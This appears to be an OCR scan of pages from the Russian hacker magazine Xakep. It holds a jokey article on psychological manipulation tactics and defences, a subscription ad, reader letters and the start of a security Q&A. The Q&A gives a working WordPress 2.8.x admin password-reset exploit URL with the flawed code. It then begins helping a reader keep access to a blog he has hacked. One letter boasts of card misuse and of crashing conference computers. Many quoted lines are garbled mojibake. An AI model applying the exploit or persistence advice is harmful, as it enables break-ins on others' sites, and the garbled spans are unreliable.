XX веке, когда я учился в школе, это была очень 
крутая шутка. На самом деле, участников трое, 
их я уже перечислил выше: манипулятор, 
жертва(-ы), сторонний наблюдатель(-ли).
• Манипулятор. Выбирает жертву, время, место 

и ситуацию для осуществления своих зловещих 
замыслов. Составляет план мероприятия, вы-
бирает психологические точки приложения в 
сознании предполагаемой жертвы, конкретные 
«уловки» и проводит атаку. В общем, все как в 
хакинге.
• Жертва. Стоит и обтекает. Хотя вру, не всегда. 
Жертва либо поддается на манипуляцию, ме-
няя свои планы и желания, либо выстраивает 
контрмеры, переводя ситуацию, как минимум, 
в патовую.
• Сторонние наблюдатели. Наблюдают за 
ситуацией со стороны или создают фон для 
манипуляции. Они имеют представление о 
ситуации, исходя из своей системы координат 
(в прямом общении не участвуют, эмоциональ-
ный контакт им недоступен, психологическое 
состояние участников они не разумеют, поэтому 
мнение у них будет либо не до конца верным, 
либо совсем неправильным). Ходить за при-
мером далеко не надо, достаточно посмотреть 
в интернеты — сколько раз общественное мне-
ние оказывалось на стороне тонкого тролля, 
который, используя свои навыки, доставал до 
кишок по-настоящему знающего и компетент-
ного форумчанина. Которого, тем не менее, 
потом банили за грубость :).

ВРЕМЯ, МЕСТО, 
СИТУАЦИЯ
Первый этап манипуляции — выбор времени и 
места. Вернее, даже не так — времени, места, 
обстановки. Почему это важно? Да потому, что 
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правильный выбор может быть 
практически единственным и 
самым главным этапом мани-
пуляции. Рассмотрим ситуацию 
со следующими участниками: 
бродячая продавщица цветов, ты и 
твоя девушка. Разумеется, давать 
деньги голодранцам или покупать 
цветы девушке до следующего 8-го 
марта ты не планировал. Вернее, 
не планировал бы, если бы атака 
произошла в другое время и в 
другом месте, а теперь — деваться 
некуда. В присутствии девушки 
ты не можешь послать старуху на 
три веселые буквы, особенно если 
она пойдет дальше, сказав нечто 
вроде «êàê æå òàêîé êðàñèâîé 
äåâóøêå è íå ïîäàðèòü ðîçî÷-

êó». Классическая манипуляция 
свершилась — выбор есть, но в то 
же время его и нет. Либо ты снижа-
ешь карму в глазах своей девушки 
прямой конфронтацией с мани-
пулятором (прямая конфронтация 
— практически всегда показатель 
слабости позиции!), либо идешь на 
поводу и оказываешься в дурацкой 
ситуации — вроде бы ты и не про-
тив сделать девушке приятное, 
но ведь и про себя тоже думать 
надо. Неприятно чувствовать себя 
опрокинутым хитрой бабуленцией. 

Выход прост — принять правила 
игры, но вырваться из навязанной 
тебе ситуации. Да, девушка краси-
вая. Да, заслуживает цветов. Ты с 
этим согласен, поэтому конфликт 
с девушкой не совершится. Но 
как избежать психологического 
шантажа? Очень просто: мы ведь 
как раз идем вон в тот супермаркет, 
где я вчера видел очень красивые 
бархатные розы. А эти — гнилые, 
пожухлые и явно доставлены из 
региона с повышенным радиаци-
онным фоном. Пока, бабушка! То 
же самое и с другими аналогич-
ными манипуляциями — думай, 
выявляй события, которыми тебя 
шантажируют, и обходи их.
Итак, важность времени и места 
мы разобрали, осталась ситуация. 
Этим термином я объединяю как 
психологическое состояние жерт-
вы, так и особенности окружающей 
его действительности. Усталость, 
тревожность, опьянение, нервоз-
ность вследствие каких-то других 
внешних событий или, наоборот, 
— гипоманиакальное состояние 
из-за передоза кофе или других 
стимуляторов (мысли бегают, пере-
скакивают, никакой основатель-
ности и последовательности в них 
нет), благостный настрой человека, 

находящегося в отпуске (с трудом 
перестроится, на конфликт не пой-
дет!) — все это лакомые состояния, 
обожаемые манипуляторами. Учти, 
что любое изменение твоего со-
стояния делает возможным сугге-
стию — внушение манипулятором 
своей позиции в обход психологи-
ческой защиты. То есть, позитивно, 
неконфликтно, на фоне хорошего 
эмоционального настроя. Прямо 
как добрый папочка :).

ПРИЕМЫ КУНГ-ФУ
Кажется, настало время перейти к 
водным процедурам — а имен-
но, к перечислению конкретных 
приемов и уловок, используемых 
манипуляторами в своей практике. 
Наслаждайся!
• Выигрыш во времени. Чтобы 
принять правильное решение, 
жертве нужно время на размышле-
ние. Манипулятор, который обыч-
но находится в более выгодном 
положении (ему все ясно, задача 
продумана), постарается создать 
у жертвы ощущение цейтнота. В 
общем, «думайте скорее, люди 
ждут, очередь напирает. Что тут 
читать, все и так подписывают». В 
частности, эта уловка постоянно 
используется в присутствен-

ных местах вроде магазинов и 
сбербанков — народ из очереди 
бузит, требует скорости, обвиняет 
тебя во всех человеческих по-
роках только потому, что ты вдруг 
взялся читать подписываемый 
договор или детально осматри-
вать свежекупленную технику. 
В условиях психологического 
давления и недостатка времени 
трудно сохранить трезвость мысли. 
Абстрагируйся от толпы, осознай, 
что точка зрения этого сборища 

И опять Дейл Карнеги, 
выпустивший сотню ми-
льонов книг, посвящен-
ных манипулированию 
окружающими. Респект 
ему и хвала, заработать 
кучу денег на книгах о 
манипулировании — 
высший класс. Даже не 
надо никем манипулиро-
вать :)
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конфликтных старушенций для 
тебя не имеет совершенно никако-
го значения. И — читай, проверяй, 
задавай вопросы. Обязательно 
будь готов отказать. Да, готов отка-
зать, все бросить и пойти в другой 
магазин, несмотря на то, что ты уже 
отстоял очередь, и до празднова-
ния дня рождения друга осталось 
два часа. Достаточно простой 
готовности — манипулятор ее по-
чувствует. Жизнь показывает, что 
если речь не идет о прыжке из окна 
горящего здания — время всегда 
есть. Поэтому само требование 
«быстро-быстро» в отсутствии по-
жара — уже нехороший признак.
• Рассеивание внимания. Опыт-
ный манипулятор весьма эффек-
тивно отвлекает внимание жертвы, 
фиксируя его на своих жестах, 
интонации, переводя разговор на 
левые темы и нагоняя тумана в ис-
тинной теме обсуждения. Приведу 
пример. Ты идешь на рынок, поку-
паешь несколько единиц разного 
товара. Продавец много жести-
кулирует, что-то рекламирует, 
постоянно изрыгает фразы вроде 
«ñûí ïîêóïàëü — òåáå ïðîäàþ, 
ðóáëü ñâåðõó — òðè â óìå, ñþäà 

ïèøó — îòòóäà âû÷èòàþ, øòàíû 

ïîìåðÿé, äà, ïÿòü ðóáëåé 

åñòü, èòîãî ñåìü, òàê âåäü?, 

ÿ òîãäà… ý-ý-ý… ñêîëüêî ýòî 

ñäàì, ïîãîäè, äàé ïîñ÷èòàþ, 

íåò, äâà ðóáëÿ åñòü? Ëàäíî, 

âîò äåðæè äåñÿòü, ðóáëü ïî-

òîì çàíåñåøü, òàê óæ è áûòü». 
Большое спасибо! Вот только с 
точки зрения математики это не 
он тебе рубль уступил, а наоборот, 
еще 80 рупий должен :). Здесь мы 
видим целую цепь манипуляций 

— продавец, демонстрируя очень 
положительный и располагающий 
эмоциональный настрой, мастер-
ски отвлекает внимание, перегру-
жает мозг покупателя ненужными 
подробностями (второй прием!), 
заставляя жертву соглашаться с 
ним по ходу вычислений (несмотря 
на то, что в них сам Степ не разбе-
рется, а ведь он учился в Бауман-
ке!). Это третий прием — потом 
жертве будет труднее отпираться, 
сам же соглашался. И в конце — 
подтверждает свое расположение, 
уступая нам рубль. Дескать, он 
нам доверяет, искренне веря, что 
мы его «потом занесем». Сама 
наивность, как такому не поверить, 
зачем пересчитывать?
Вывод простой — если видишь, 
что собеседник «мутит воду» — 
удваивай бдительность. Воз-
вращай улыбку, подстраивайся 
под положительный настрой и 
обламывай манипуляции в корне 
путем интеллигентного, но четкого 
возвращения дискуссии или вы-
числений в правильное русло. К 
приятным людям, злоупотребляю-
щим витиеватой жестикуляцией, 
вообще нужно относиться насто-
роженно (а вдруг имеют намерение 
тебя в транс вогнать?)
• Атаки на самооценку. Эти 
вмешательства проводятся путем 
реализации психотехник «обесце-
нивание» и «игнорирование». В 
прошлой статье я обращал особое 
внимание на важность самооцен-
ки, так вот, враги народа всегда 
будут рады испытать ее на проч-
ность своими психологическими 
эксплойтами, поскольку человек 
с пониженной самооценкой 

становится уязвим практически ко 
всем описанным манипулятивным 
уловкам. Обесценивание — это 
критика, нередко — очень жесткая 
критика компетентности, профес-
сиональной пригодности, личных и 
социальных качеств жертвы. Мало 
опыта, работать не умеете, проект 
в прошлом году завалили, да и что 
еще ждать от такого молодого (ма-
нипуляция возрастом!) человека 
с таким образованием? И ведь не 
учится ничему, хоть мы и продол-
жали надеяться. До сегодняшнего 
дня. Держим из жалости, одно 
слово. Идите к себе.
«Игнорирование» — как нетрудно 
догадаться из названия, столь же 
некорректная техника, основанная 
на подчеркнуто пофигистичном 
отношении к жертве вообще и 
к ее мнению в частности. Сам 
понимаешь, что если в процессе 
чтения твоего доклада слушающий 
чешется во всех интимных местах, 
перешептывается с соседями, 
рисует голых женщин на полях 
тетради… поневоле почувствуешь 
себя придурком, а свой доклад — 
полным и окончательным отстоем.
• Миллионы мух не могут оши-
баться. Все покупают. Врачи-
стоматологи рекомендуют. 
Ведущие собаководы советуют. 
Настоящие мужчины выбирают. 
Такие дела, никто не хочет по-
чувствовать себя ненастоящим 
мужчиной, который не при-
слушивается к рекомендациям 
ведущих врачей-стоматологов, 
или выглядеть глупее, чем эти 
самые «все». К этой же категории 
уловок относится «большинство 
профессоров считают», «Пете 
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Еще один гуру мира манипуляций — товарищ 
Хаббард, автор сайентологии. Подвиги известны, 
в дополнительных комментариях не нуждается
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Горячая тема в интернетах. Тысячи ссылок, 
вагоны ничего не объясняющих статей, масса 
дезинформации. Красота-то какая!

info

• Если хочешь узнать 
о манипуляциях 
больше, обязательно 
нагугли научный труд 
Доценко Е.Л. «Психо-
логия манипуляции». 
Единственная про-
блема — он весьма 
тяжело написан, 
поэтому прочтение 
его способно надолго 
поставить твой мозг 
в позу речного скор-
пиона.

• Традиционный 
респект от автора 
врачу-психиатру 
Трасковецкой И.Г. 
за мудрый совет 
и ценные коммента-
рии к готовому тексту.
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мама уже купила» и многие другие. 
Противодействие простое — высо-
кая самооценка, адекватное само-
мнение и оценка своей компетент-
ности, использование фраз вроде 
«ну, я-то не все» (произносить с 

видом императорского пингвина), 
«хе-хе, да-да, миллионы мух не 
могут ошибаться», «какие именно 
профессора? Имена, фамилии. 
Могу ли я найти их труды в google 
scholar, или они настолько крутые, 
что им не индексируются?». Дет-
ские же манипуляции из серии «а 
вот кому-то уже купили/назначили/
выдали квартиру» легко разби-
ваются родительскими контрма-
нипуляциями вроде (принимаем 
правила игры) «тебе тоже купим/
назначим/выделим, если будешь 
себя хорошо вести/работать/цело-
вать меня туда, где никогда не 
светит солнце» (навязываем свои 
условия). А как это «хорошо себя 
вести»? Каковы критерии? Крите-
рии не обозначены, что открывает 
широкую дорогу для использова-
ния приема «обесценивание».
• Вывести из себя. Психотехника 
под названием «эмотирование» 

часто применяется манипулятора-
ми. В процессе реализации мани-
пулятор старается вывести жертву 
из эмоционального равновесия, 
вызвав у нее негативные эмоции 
— гнев, злость, раздражение и т.д. 
В зависимости от поставленных 
целей, техника позволит либо пре-
кратить неприятную для манипу-
лятора дискуссию («сначала вести 
себя научись, а потом требуй себе 
в подарок машинку с радиоуправ-
лением/прибавку к жалованью/
руководство в этом проекте»), либо 
облегчить применение других тех-
ник за счет того, что гнев — плохой 
советчик для жертвы, поскольку 
он снижает внимание, концентра-
цию, мыслительные способности и 
способность к принятию реше-
ний. Кроме того, раздраженный 

человек отрицательно выглядит 
в глазах сторонних наблюдате-
лей. Достигается эмотирование 
либо элегантным образом, вроде 
переведения разговора на лич-
ность оппонента или обсуждения 
его прошлого (смотри ниже), 
либо — явно не очень корректным 
поведением (не слушать, хихикать, 
надолго выходить, отвлекаться 
на явно левые дела и звонки по 
мобильному телефону).
Как защититься? Держать себя в 
руках, явно, позой и поведением 
показывать, что «этим тебя не 
проймешь», корректно переводить 
разговор в изначальное русло. 
Если чувствуешь, что выведен из 
себя и вряд ли способен стабили-
зироваться, придется использо-
вать легальные паузы — протирать 
очки, раскуривать трубку и т.д. 
Как вариант, перейди в соседнее 
помещение, чтобы разорвать 

порочный круг манипулятивного 
контакта и привести свои мысли 
в порядок. Ирина Геннадьевна 
дополняет: «Ãëàâíîå îðóæèå 
ïðîòèâ ýòîé òåõíèêè — òåð-

ïåíèå. Íå òîðîïèñü, äåëàé 

ïàóçû, êîãäà èõ äåëàåò íà-

õàëüíûé ìàíèïóëÿòîð, îñî-

áåííî, åñëè ÷óâñòâóåøü, ÷òî 

âûøåë èç ñåáÿ. Ïðèñîåäèíåíèå 

ê åãî ðèòìó â îáùåíèè äàåò 

êîçûðü òåáå è âûáèâàåò êîçûðè 

ó íåãî».
• Невысказанное и додуманное. 
Как я уже говорил выше, одной 
из составных частей процесса 
манипуляции является добро-
вольный перенос ответственности 
за принятое решение с манипу-
лятора на его жертву. Хорошим 
способом заставить жертву взять 

на себя ответственность является 
использование намеков. Поэтому, 
если начальник вдруг начал тебе 
рассказывать о том, какой в стране 
нынче бушует суровый кризис, 
и как тяжко в его условиях стало 
содержать ряды программистов на 
сишарпе, не спеши догадываться, 
что ты как раз и есть тот самый 
балластный программист, и что 
ты прямо-таки пышешь желанием 
написать заявление «по собствен-
ному». Не бери на себя ответствен-
ность за чужие решения.
Весьма часто этот манипулятив-
ный прием используется, когда 
манипулятор хочет свою жертву 
о чем-то попросить. Знакомая 
ситуация? «Ух, такая вот фигня, 
совершенно не понимаю, что с 
этой машиной делать, и времени 
нет, то ли жиклер тормозит, то ли 
клапана не подсасывают». «Да 
нет проблем, давай я посмотрю!». 

Стоп. Тебя просили? Нет! Ответ-
ственность передана полностью. 
Чукча хочет — чукча платит, а стало 
быть — это ты захотел починить 
чужую машину, и теперь манипуля-
тор не должен тебе даже простого 
«ñïàñèáî». Он просто скажет тебе 
«à ÷òî òàêîãî, ÿ òåáÿ íå ïðî-
ñèë» и будет совершенно прав. 
Заставляй (контрманипуляциями) 
собеседников прямо, в явном виде 
формулировать свои просьбы 
и сразу оговаривай объемы по-
следующей благодарности. Помни, 
что дается людям легко, обычно 
ими не ценится :).
• Дай палец — откусим руку. Согла-
сившись на малое — согласишься 
и на большее. Задержишься на 
часок? Значит, со временем тебя 
подобьют заночевать на работе. 
Пригласили на портретную съемку 
у профессионального фотографа? 
По ходу дела согласилась сфо-
тографироваться в купальнике? 
Вечером, по дороге домой, наша 
героиня будет думать: «Îé, êàêàÿ 
ÿ äóðà, çà÷åì æå ñîãëàñèëàñü 

ôîòîãðàôèðîâàòüñÿ ñîâñåì-

ñîâñåì ãîëîé?». В общем, ты 
понял, что нужно думать заранее, 
предвидеть развитие событий и 
четко очертить границы, через ко-
торые ты переступать не намерен.
• Мудрость веков, аксиомы и вечные 
ценности. Не позволяй собеседнику 
прессовать тебя аксиоматическими 
истинами, афоризмами и цитатами 
ученых мужей древности. Если ты 
видишь, что собеседник пытается 
склонить тебя к согласию со своим 
утверждением только потому, что 
его частью является «òàùè ñ çà-
âîäà êàæäûé ãâîçäü, òû çäåñü 

õîçÿèí, à íå ãîñòü» или «penis 
longus — radix vitae», — немило-
сердно расчленяй манипуляторские 
утверждения на части и комментируй 
их соответственно. Да, маму надо 
любить. Я согласен с этим утвержде-
нием и сам люблю свою маму. Но это 
не значит, что я готов пожертвовать 
100 космических кредитов в фонд 
«Мамочки роботов». Спасибо за 
предложение, до свидания.

Совет №5. Запишись в фитнес!
Шутки шутками, но это действительно того стоит. Полезно иногда по-
гонять систему, чтобы понять её возможности и найти решения, как их 
увеличить. Фитнес — это способ хорошенько погонять себя (особенно 
зимой)! Да и скидки во всех залах сейчас очень большие.

Metallica знает толк 
в манипуляциях
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• Грехи прошлого. Манипуляторы с удовольствием при-
поминают своим жертвам их былые подвиги. Как может 
человек потянуть проект по автоматизации докумен-
тооборота на предприятии, если ранее он был уличен в 
утере полкового знамени? В разврате на рабочем месте, 
отрывании крыльев бабочкам, потоптании муравейников. 
Защититься непросто. Главное — сохранять спокойствие, 
не отрицать прошлых свершений и, не оправдываясь, 
провести границу между прошлым и настоящим. Кто из 
присутствующих не совершал ошибок? Если подозрева-
ешь, что этот прием может быть применен к тебе — дей-
ствуй превентивно, продемонстрировав окружающим, 
что ты придерживаешься позиции «Íó, êòî íå îøèáà-
åòñÿ? Òîò, êòî íè÷åãî íå äåëàåò!». Лучше на приме-
ре — рассказав о чьем-то красивом обломе и подытожив, 
что ты обломавшегося ни в чем не обвиняешь и даже ему 
сочувствуешь, поскольку на его месте мог быть каждый, и 
ты в том числе. Кроме того, помни про «ýòà îøèáêà áûëà 
óðîêîì, ÿ ìíîãîìó íàó÷èëñÿ è òåïåðü çíàþ, êàê 

òàêèõ îøèáîê èçáåæàòü». Работает на «ура»!
• Манипуляции с использованием межличностного про-
странства. Прием, имеющий широкое хождение в сфере 
личной жизни и околосемейных отношений. Сюда от-
носятся манипуляции «äîñòóï ê òåëó», «ïðèåì áëèæå-
äàëüøå» и прочие уловки, связанные с угрозой разрыва 
или увеличения межличностного расстояния. Подозреваю, 

что подробности ты можешь домыслить и сам, а на предмет 
«ближе-дальше» — погуглить по околопикаперским сай-
там. Прием этот заключается в задании одним из партнеров 
«рваного ритма» отношений, то есть пропадать на пару 
дней (либо в тесный контакт не вступать), а затем позволить 
себе некоторое время интимного общения. Прием непри-
ятный, считается, что он позволяет дольше поддерживать 
«накал» отношений, облегчает манипулирование партне-
ром (явно дает показать, что «чем меньше женщину мы 
любим...» и в любой момент можем бросить). На самом же 
деле — обычный грязный манипулятивный прием, который 
ведет к сносу крыши и невротизации второй половины.
• Разрешите спросить! Любимая уловка офисных трол-
лей. Раздолбайские и малокомпетентные зеленокожие 
гуманоиды целыми днями докучают окружающих вопро-
сами вроде «÷òî äåëàòü ñ ýòîé ëèíåå÷êîé â âîðäå, 
÷åãî ýòî îíà ïîñðåäè ýêðàíà òîð÷èò? Êàê áû ìíå 

çàìåíèòü áóêâèöó íà êîëîíòèòóë è ïîìíîæèòü âñå 

ýòî íà òåçàóðóñ?». Цель проста — заставить окру-
жающих прийти к решению, что «проще взять и сделать 
самому». Противопоставь злобному троллю контрмани-
пуляцию — сделай так, чтобы все стало еще хуже. Пусть 
после твоего вмешательства буквица займет весь экран, 
а половина шрифтов вообще пропадет в неизвестном 
направлении. Кстати, если ты предварительно вынесешь 
мозг манипулятору необходимостью читать книгу «Ком-
пьютер для чайников» (разумеется, с улыбкой, позитивно 
и без особенной издевки) — вообще супер. Проверено на 
себе — сейчас никто в больнице не обращается ко мне с 
эникейными вопросами :).

ЗАКЛЮЧЕНИЕ
Во всех неприглядных подробностях мы рассмо-
трели процесс манипуляции, не забыв перечислить 
и наиболее часто используемые злобными мани-
пуляторами психологические уловки. Разумеется, 
информация не исчерпывающа, но, надеюсь, будет 
тебе полезна. Предупрежден — значит, вооружен. Ду-
маю, после прочтения этой статьи ты с удовольстви-
ем будешь замечать, что все окружающие тебя люди 
только и делают, что пытаются друг другом манипули-
ровать :). Держись, не поддавайся! z
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Герои 
телесериала 
«Побег из 
тюрьмы» 
только и 
делают, что 
манипулируют 
друг другом. 
Теодор 
Бэгвелл — 
один из самых 
изощренных 
манипуляторов

Старое доброе кино о манипуляциях. Советую пересмотреть после прочтения статьи

UNITS



Подписка на журнал «ХАКЕР+DVD» на 6 месяцев 
стоит 1200 руб. 

По всем вопросам, связанным с подпиской, звоните по 
бесплатным телефонам 8(495)780-88-29 (для москвичей) и 
8(800)200-3-999 (для жителей других регионов России, або-
нентов сетей МТС, БиЛайн и Мегафон). Вопросы о подпис-
ке можно также направлять по адресу info@glc.ru или 
прояснить на сайте www.GLC.ru

Оформить подписку на Хакер стало еще проще!
C июля 2009 года это можно сделать в любом из 
72 000 платежных терминалах QIWI (КИВИ) по всей 
России. 

ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ КАК ОФОРМИТЬ ЗАКАЗ 
1.  Разборчиво заполните подписной купон и квитанцию, вырезав 

их из журнала, сделав ксерокопию или распечатав с сайта www.
glc.ru. 

2. Оплатите подписку через Сбербанк .
3.  Вышлите в редакцию копию подписных документов — купона и 

квитанции — любым из нижеперечисленных способов: 
 по электронной почте subscribe@glc.ru;
 по факсу 8 (495) 780-88-24;
 по адресу 119021, Москва, 

ул. Тимура Фрунзе, д. 11, стр. 44, 
ООО «Гейм Лэнд», отдел подписки.

ПОДПИСКА В РЕДАКЦИИ

2100 руб. 

+

(на 15% дешевле чем 
при покупке в розницу)

Единая цена по всей России. Доставка за счет издателя, 
в том числе курьером по Москве в пределах МКАД

При подписке на комплект журналов  
ЖЕЛЕЗО +  ХАКЕР +  DVD:
- Один номер всего за 155 рублей (на 25% дешевле, чем в розницу)

ÇÀ 6 ÌÅÑЯÖÅÂ

 ВЫГОДА  ГАРАНТИЯ  СЕРВИС 

ВНИМАНИЕ! 
ВТОРОЕ СПЕЦПРЕДЛОЖЕНИЕ! 

ÇÀ 12 ÌÅÑЯÖÅÂ

3720   
ðóá

2100
ðóá

ВНИМАНИЕ! 
Подписка оформляется в день обработки купона и квитанции в редакции:
  в течение пяти рабочих дней после отправки подписных документов 

в редакцию по факсу или электронной почте;
 в течение 20 рабочих дней после отправки подписных документов по 

почтовому адресу редакции.
Рекомендуем использовать факс или электронную почту, в последнем 
случае предварительно отсканировав или сфотографировав документы.
Подписка оформляется с номера, выходящего через один кален-
дарный месяц после оплаты. Например, если вы производите оплату 
в апреле, то журнал будете получать с июня.
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E-MAIL 

Отвечаю на это и аналогичное лаконичное 
(«Здравствуйте! Вы публикуете статьи читате-
лей?») письма разом.

Привет, Джимми!
1. Да, в большинстве случаев ты можешь 
рассчитывать на денежное вознаграждение. 
Мы бы и сами были бы рады напарить авторов 
(«чего-чего? В сам Xakep писать, да еще и де-
ньги за это получать?»), но правила таковы, что 
за каждую статью автору полагается гонорар. 
Правда, в кризисные времена его, бывает, 
задерживают :).
2. Да, если ты предложишь реальную тему, то 
вполне возможно, что твоя статья понравится 

редактору, и он ее опубликует. Чтобы узнать о 
том, какие статьи были опубликованы в журна-
ле, нужно его (журнал) регулярно читать.
3. Ответы на все аналогичные вопросы ты най-
дешь в моей статье «Новогодний журнализм»: 
www.xakep.ru/magazine/xs/049/106/1.asp 
(2004 год, ностальжи!). Быть столпом русской 
словесности вовсе не обязательно, но все же 
не забывай курить мануалы по русскому языку, 
поскольку ошибки вроде «интузиазма» как-то 
не очень вяжутся с журналистской карьерой.

Привет, Креодонт!Не отношу себя к мастерам 
анализа чужих художественных креативов, но, 
на мой взгляд — сюжет нормальный, рассказ 
написан хорошим языком. Я перешлю твой 

монументальный труд, посвященный личному 
и социальному грехопадению игрозависимой 
личности, компетентным людям, пусть решат 
вопрос о публикации. 

Привет, Аня!
Спасибо за письмо, Никитос в процессе его про-
чтения расчувствовался и даже пустил скупую 
слезу (причину он мне не сообщил, подозреваю 
ностальгические воспоминания о девушке-
программистке). Тем не менее, тему интересной 
не назову, но если будут другие идеи — пиши, 
обсудим.
.

ОТ: JIMMMY  
<jimmyjonezz@bk.ru>
ТЕМА: Деньги за статьи
Здравствуйте, Андрей Матвеев. Могу ли я 
рассчитывать на какое-либо денежное воз-
награждение или это прерогатива постоян-
ных писателей? Просто у меня есть возмож-
ность писать много и постоянно, интузиазма 
много, но кушать-то охота... :). 
Есть возможность как-то узнать, какие 
статьи были уже опубликованы в журнале, 
чтобы не получилось так, что я написал 
статью, а надобность в ней отпадает? 
Буду рад любому ответу... 
С уважением, Jimmmy   

ОТ:  CREODONT 
<creodont@yandex.ru>
КОМУ: Почта журнала 
<magazine@real.xakep.ru>
ATTACH: Игрок.doc (62 КБ)
Пожалуйста, посмотрите мой рассказ.

ОТ:  ТАГАЙЧИНОВА АНЯ <kljaksa@e1.ru>
ТЕМА: ***статья: «ICQ Сервер»
Здравствуйте!
Моя статья называется: «ICQ сервер, поддерживающий ICQ клиентов различных версий». 
Это тема моей бакалаврской работы, никогда нигде не публиковала свои работы, решила 
попробовать. Мне посоветовали отправить ее Вам. Надеюсь, Вам понравится.

P.S.: Если нужно, я могу подкорректировать статью: убрать некоторые моменты или, 
наоборот, некоторые части написать подробнее.

ШЛИ СВОИ ПИСЬМА НА MAGAZINE@REAL.XAKEP.RU 
И РЕДАКТОРАМ РУБРИК! 

НА ПИСЬМА ОТВЕЧАЛ АЛЕКСАНДР ЛОЗОВСКИЙ

UNITS
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ОТ:  123 123 cl.k@list.ru <alex-rus@live.ru>
ТЕМА:  n/a
а на счёт той х**ни со статьями уж извини, деньги нужны были очень ,
поэтому повторялся, теперь понял что вас нена***еш , ... реально
прошу извененй

ПРИВЕТ, ТОМАС!
Поскольку Володарский вежливо 
отказался перевести для нас твое со-
общение, а также с целью приведения 
английской и русской части письма 
к единообразному стилю изложения, 
мы решили воспользоваться услугами 
google translate. Итак, вот что мы 
имеем тебе сказать по результатам 
прочтения данного перевода. 
Во-первых, спасибо за письмо — мы 
тоже вспомнили литовскую версию z 
и с большим удовольствием пере-
читали наши статьи, переведенные 
на литовский язык. Мы никогда и не 
думали, что написанные нами тексты 
могут выглядеть столь прикольно (без 
обид :)). Ваша версия журнала была 
потоньше, статей в ней — поменьше, 
но все же это был наш, родной z. На-
счет твоей просьбы — сходу ответить 
трудно, посмотрим в анналах. Кроме 
того, это письмо будет опубликовано в 
журнале, поэтому, может быть, нужный 
человек тебя сам и найдет. Удачи!

ОТ: Toinbis Makaroinbis <toinbis@gmail.com>
ТЕМА: ***помощь

Добрий ден, Никита,
если вы не против, буду писат па ангелску.
[google translate]
Прежде всего — поздравил с Литвой. 
Я вырос с литовскими версия «Xakep», большие времена, которое, даже удалось купить anonymizer.
com счет с помощью кредитной карты некоторых парень, чье письмо ends@microsoft.com.  Netbios 
ошибок в Windows 98 — много веселья было, или повешение половины компьютеров в InfoBalt 
компьютерной конференции с  C: \ Con \ Con трюк — спасибо вам, все, что узнали много полезной 
удовольствие от вас, но, вероятно, это самая разбудили любопытство было самое лучшее, что я 
получил от чтения «Xakep» -- он учил, что всегда есть другой способ сделать это, тем лучше, и что это 
удовольствие пытаются ее найти. Любознательность, которая помогает не только при расчете, но и 
во всех сферах жизни. Спасибо, ребята!  Существует одна скромная просьба помочь У меня. Дело в 
том, что мне действительно нужно связаться somone, кто знает, кого-то из «RISE команда» взлом-
щики коллектива. Причина, мне нужно связаться с состоит в том, чтобы предложить новую версию 
программного обеспечения, они уже до трещины. Не связанные с трещинами вариант новой версии 
предоставляется только для корпоративных клиентов, так что, возможно, они бы intereseted сами 
получить его ... Ли попытаться загрузить все свои трещины и проверить NFOs (30 на сегодняшний 
день ...;), но адреса электронной почты, они обеспечивают Есть больше не действует. Попытка объ-
единить # крекеры на FreeNode, но предложить только. 
Почему я написания вами? Причина Россия дала рождение в ад много талантливых программистов 
/ хакеров / крекеров, и, я думаю, вы или кто-то в новостях (есть один? Или вы с работы домой? Просто 
из любопытства — работал в качестве журналиста я довольно долгое время ...), возможно, знают 
некоторые из них, и они могли бы знать ... тем, что цепочка будет заканчиваться на «Rise КОМАНДА». 
Пожалуйста, если у делать какие-либо тип контакта, который вы считаете, могли бы мне помочь, я бы 
очень признательны Вам сравнялась со мной. Что я мог бы обещать взамен? Давайте говорить о том, 
чтобы сделать 10 хороших вещей в этом месяце, что может сделать мир немного лучше ...
[/google translate]
Спасибо за ваше время, поздравление от Вилнюс, можите отвечат па Руский, Тomas

ÑÀÌÎÅ ÄÓÐÀÖÊÎÅ 
ÏÈÑÜÌÎ ÍÎÌÅÐÀ

ÑÀÌÎÅ 
ÏÎÇÈÒÈÂÍÎÅ 
ÏÈÑÜÌÎ 
ÍÎÌÅÐÀ

Письмо, форварднутое мне пожелавшим остаться неизвестным 
редактором, порадовало. Знакомая ситуация, особенно было кру-
то, когда автор пытался сдать Горлу статью, написанную самим же 
Горлумом пару-тройков месяцами ранее. Ну, так прямо и сделал — 
слил его статью с сайта, особо не разбирался, изменил имя автора 
и сдал все это хозяйство многострадальному редактору. Круче 
было только тогда, когда студенты сдали мне истории болезни по 
моим же больным (как аспирант кафедры, я иногда должен вести 
студентов), которые не имели с реальными больными ничего 
общего. Ну, лечил я больную от воспаления легких — а мне студент 
с честными глазами предъявляет под эту фамилию скачанный из 
инета «передне-распространенный инфаркт миокарда».
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Q: Что новенького из уязвимостей в WordPress 

появилось в последнее время?

A: Недавно некий Laurent Gaffie обнаружил в 
последней (на данный момент) версии 2.8.3 
сабжевого движка для создания блогов заме-
чательный баг, позволяющий без каких-либо 
подтверждений сбросить пароль админа. Если 
ты внимательно читал мои этюды про вордпресс
 в предыдущих номерах журнала, то, наверняка, 
должен помнить о подобном баге в WordPress 
<= 2.6.1. Тогда (впрочем, как и сейчас) баг поз-
волял скинуть пароль админа при включенной 
регистрации на блоге и хитрых манипуляцях 
с обрезанием пробелов в мускуле. Сейчас же 
все гораздо проще — регистрация не нужна, 
но новый пароль, как и прежде, узнает только 
законный владелец админского мыла. Для 
эксплуатации бага тебе всего лишь необходимо 
пройти по ссылке вида http://DOMAIN_NAME.
TLD/wp-login.php?action=rp&key[]=. При этом 
пароль успешно сбросится :).  Работает фишка 
только в 2.8.x ветке и проявляется в следующем 
коде в wp-login.php:

function reset_password($key) {

    global $wpdb;

    $key = preg_replace(

        '/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )

        return new WP_Error('invalid_

key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb ->  

        prepare("SELECT * FROM $wpdb 

-> users WHERE user_activation_key = 

%s", $key));

...

}

Здесь функция prepare() приводит наш 
массив $key к строковому типу, вследствие 
чего $key становится пустым и подходит 
абсолютно для всех записей в таблице 
пользователей. Как видишь, для этой 
замечательной уязвимости можно написать 
массовый эксплойт, который превратит 
жизнь админов вордпрессовских блогов в 
хаос. Но, так как практической пользы от 
этого нехитрого действа для тебя не будет 
никакой, я не советую заниматься такими 
пакостями.
P.S. Подробное advisory смотри по ссылке 
http://packetstormsecurity.org/0908-exploits/
wordpress-adminreset.txt.

Q: Взломал блог на WordPress. Как бы мне теперь 

заполучить админские куки на случай, если мой 

шелл удалят?

A: Механизм генерации кукисов в вордпрессе 
не из самых простых, но, немного покурив ис-
ходники, можно составить небольшой скрипт, 
